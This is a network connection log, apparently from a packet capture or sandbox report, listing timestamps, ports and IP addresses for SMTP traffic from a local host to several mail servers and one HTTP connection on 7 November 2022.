Nov 7, 2022 22:24:44.523627996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523639917 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523650885 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523663044 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523714066 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523734093 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523751974 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523875952 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523900032 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523911953 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524003029 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524020910 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524068117 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524085999 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524121046 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524136066 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524148941 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524162054 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524173975 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524363995 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524400949 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524418116 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524434090 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524449110 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524465084 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524481058 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524497986 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524516106 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524533033 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524549007 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524564028 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524581909 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524596930 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524612904 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524629116 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524646997 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524663925 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524677038 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524688959 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524701118 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524712086 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524724007 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524734974 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524746895 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524758101 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524770021 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524780989 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524930954 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.524987936 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525011063 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525027990 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525039911 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525052071 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525064945 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525075912 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525088072 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525140047 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525172949 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525186062 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525193930 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525202036 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525218964 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525234938 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525252104 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525266886 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525284052 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525301933 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525320053 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525337934 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525352955 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525368929 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525386095 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525402069 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525419950 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525437117 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525657892 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525685072 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525947094 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525979996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.525998116 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526015997 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526032925 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526163101 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526179075 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526191950 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526205063 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526217937 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526230097 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526241064 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526252985 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.526264906 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.579190016 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579224110 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579236984 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579248905 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579263926 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579272032 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579283953 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579327106 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579380989 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579684973 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579732895 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579745054 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579756975 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579771042 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579803944 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579813004 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579816103 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579828024 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579834938 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579863071 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579874992 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579878092 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579886913 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579899073 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579911947 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579926014 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.579956055 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.579974890 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580013037 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580045938 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580048084 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580060959 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580061913 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580073118 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580084085 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580091953 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580113888 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580159903 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580545902 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580599070 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580661058 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580661058 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580672979 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580684900 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580698967 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580712080 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580714941 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580724001 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.580753088 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.580775976 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.653872013 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.682420015 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.682564974 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.697602034 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.708837986 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.731518984 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.749412060 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.749450922 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.749558926 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.785934925 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.785969019 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.785980940 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.785990000 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.786148071 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.848519087 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.854319096 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:44.887027025 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:44.887132883 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:44.896532059 CET	49801	80	192.168.2.5	81.17.18.196
Nov 7, 2022 22:24:44.912091970 CET	80	49801	81.17.18.196	192.168.2.5
Nov 7, 2022 22:24:44.912239075 CET	49801	80	192.168.2.5	81.17.18.196
Nov 7, 2022 22:24:44.912473917 CET	49801	80	192.168.2.5	81.17.18.196
Nov 7, 2022 22:24:44.927855015 CET	80	49801	81.17.18.196	192.168.2.5
Nov 7, 2022 22:24:44.928854942 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:44.933936119 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:44.943079948 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943110943 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943123102 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943135023 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943146944 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943161011 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943172932 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943185091 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943196058 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943197966 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943208933 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943219900 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943231106 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943243027 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943253040 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943253994 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943265915 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943276882 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943276882 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943310022 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943310022 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943480968 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943538904 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943576097 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943588972 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943600893 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943613052 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943620920 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943629026 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943636894 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943639994 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943639994 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943646908 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943659067 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943670988 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943681955 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943691015 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943692923 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943703890 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943707943 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943716049 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943722010 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943727016 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943758011 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943758011 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943769932 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943773985 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943798065 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943800926 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943813086 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943824053 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943829060 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943831921 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943842888 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943844080 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943855047 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943886042 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943892002 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943892002 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943897009 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943913937 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943928003 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943933964 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943953037 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.943965912 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.943989992 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944005966 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944016933 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944027901 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944037914 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944122076 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944122076 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944137096 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944149017 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944161892 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944173098 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944186926 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944216013 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944220066 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944288969 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944304943 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944317102 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944328070 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944339991 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944350958 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944360971 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944369078 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944380999 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944392920 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944395065 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.944403887 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944590092 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944638968 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944650888 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944663048 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944674015 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944686890 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944698095 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944710016 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944720984 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944731951 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.944742918 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.966866970 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:44.977163076 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:44.984611034 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.023289919 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.025729895 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.059982061 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.094496012 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.098249912 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.149851084 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149879932 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149892092 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149904966 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149915934 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149926901 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149938107 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.149949074 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.220109940 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.247839928 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.260818958 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.262285948 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:45.280769110 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.289160013 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.299922943 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.306967974 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.306998968 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307013988 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307022095 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307029963 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307039976 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307048082 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307060957 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307073116 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307084084 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307096004 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307110071 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307116985 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307128906 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307168007 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307291031 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307368040 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307380915 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307391882 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307439089 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307478905 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307492018 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307564020 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307575941 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307588100 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307679892 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307693958 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307706118 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307718039 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307729006 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307740927 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307804108 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307843924 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307854891 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307867050 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307878017 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307888985 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307897091 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.307904959 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308005095 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308018923 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308083057 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308095932 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308202982 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308217049 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308227062 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308319092 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308715105 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308727980 CET	25	49778	74.125.200.26	192.168.2.5
